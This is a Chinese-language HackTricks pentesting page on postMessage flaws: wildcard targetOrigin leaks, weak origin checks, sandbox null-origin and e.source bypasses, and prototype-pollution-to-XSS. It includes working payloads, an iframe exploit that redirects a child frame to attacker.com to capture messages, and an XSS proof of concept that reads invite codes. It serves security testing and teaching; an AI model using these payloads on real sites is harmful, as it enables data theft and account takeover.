.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage漏洞
PostMessage漏洞
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者你想要获取PEASS的最新版本或下载HackTricks的PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在推特上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
发送PostMessage
PostMessage使用以下函数发送消息:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
请注意,targetOrigin可以是'*'或URL,例如_https://company.com._
在第二种情况下,消息只能发送到该域(即使窗口对象的来源不同)。
如果使用通配符,则消息可以发送到任何域,并将发送到窗口对象的来源。
攻击iframe和targetOrigin中的通配符
如此报告所述,如果您找到一个可以被嵌入(没有X-Frame-Header
保护)并且正在通过postMessage发送敏感消息的页面,而且使用了通配符(*),您可以修改****iframe的来源并将敏感消息泄漏到您控制的域。
请注意,如果页面可以被嵌入但targetOrigin设置为URL而不是通配符,则此技巧将无效。
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener漏洞利用
addEventListener
是JS用来声明期望接收postMessages
的函数。
类似下面的代码将被使用:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
请注意,在这种情况下,代码首先要做的是检查来源。这非常重要,特别是如果页面要对接收到的信息进行任何敏感操作(比如更改密码)。如果不检查来源,攻击者可以让受害者向这些端点发送任意数据并更改受害者的密码(在这个例子中)。
枚举
为了在当前页面中查找事件监听器,你可以:
- 在JS代码中搜索
window.addEventListener
和$(window).on
(JQuery版本) - 在开发者工具控制台中执行:
getEventListeners(window)
- 在浏览器的开发者工具中转到Elements --> Event Listeners
- 使用像https://github.com/benso-io/posta或https://github.com/fransr/postMessage-tracker这样的浏览器扩展。这些浏览器扩展将拦截所有的消息并将其显示给你。
检查来源的基本绕过方法
- 如果使用**
indexOf()
来检查PostMessage事件的来源**,请记住它可以很容易地被绕过,就像下面的例子中一样:("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
\ - 如果使用**
search()
来验证来源,可能是不安全的。根据String.prototype.search()
的文档,该方法接受一个正则表达式对象而不是一个字符串。如果传递的是除了正则表达式以外的任何内容,它将被隐式转换为正则表达式。
在正则表达式中,点(.)被视为通配符。攻击者可以利用这一点,使用一个特殊的域名**来绕过验证,例如:"https://www.safedomain.com".search("www.s.fedomain.com")。\ - 如果使用**
escapeHtml
函数,该函数不会创建一个new
转义对象,而是覆盖现有对象的属性**。这意味着如果我们能够创建一个具有不响应hasOwnProperty
的受控属性的对象,它将不会被转义。
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
File
对象非常适合此漏洞利用,因为它具有只读的name
属性,该属性被我们的模板使用,并将绕过escapeHtml
函数。
绕过e.origin == window.origin
当通过<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
将页面嵌入到沙箱iframe中时,该iframe的origin将为**null
**。
当设置了沙箱值allow-popups
时,打开的弹出窗口将继承所有沙箱属性,除非设置了allow-popups-to-escape-sandbox
。
因此,从null origin打开弹出窗口将使弹出窗口内的**window.origin
也为null
**。
因此,如果您打开一个允许弹出窗口的沙箱iframe,然后从iframe内部打开一个弹出窗口,并且从iframe向弹出窗口发送postMessage,则两个origin都为null,因此:e.origin == window.origin == null
有关更多信息,请阅读:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
绕过e.source
您可以通过创建一个发送postMessage并立即删除的iframe来强制**消息的e.source
**为null。
有关更多信息,请阅读:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
绕过X-Frame-Header
为了执行这些攻击,理想情况下,您将能够将受害者网页放在一个iframe
中。但是,某些头文件(如X-Frame-Header
)可能会阻止这种行为。
在这种情况下,您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新的标签页到受漏洞的Web应用程序,并与其进行通信:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
通过阻塞主页面窃取发送给子iframe的消息
在下面的页面中,您可以看到如何通过在发送数据之前阻塞主页面,并滥用子页面中的XSS漏洞来窃取发送给子iframe的敏感postmessage数据,以及在数据接收之前泄露数据:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
通过修改iframe位置窃取消息
如果您可以在没有X-Frame-Header的情况下嵌入包含另一个iframe的网页,您可以更改该子iframe的位置,因此,如果它正在接收使用通配符发送的postmessage,攻击者可以将该iframe的来源更改为由他控制的页面,并窃取消息:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage到Prototype Pollution和/或XSS
在通过postMessage
发送的数据由JS执行的情况下,您可以通过嵌入页面并通过postMessage
发送利用程序来利用原型污染/XSS。
可以在https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html中找到一些非常好解释的通过postMessage
进行XSS的示例。
以下是通过postMessage
发送利用原型污染然后进行XSS的示例:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
更多信息:
- 链接到关于原型污染的页面
- 链接到关于XSS的页面
- 链接到关于客户端原型污染到XSS的页面
参考资料
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- 练习:https://github.com/yavolo/eventlistener-xss-recon
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中宣传你的公司吗?或者想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。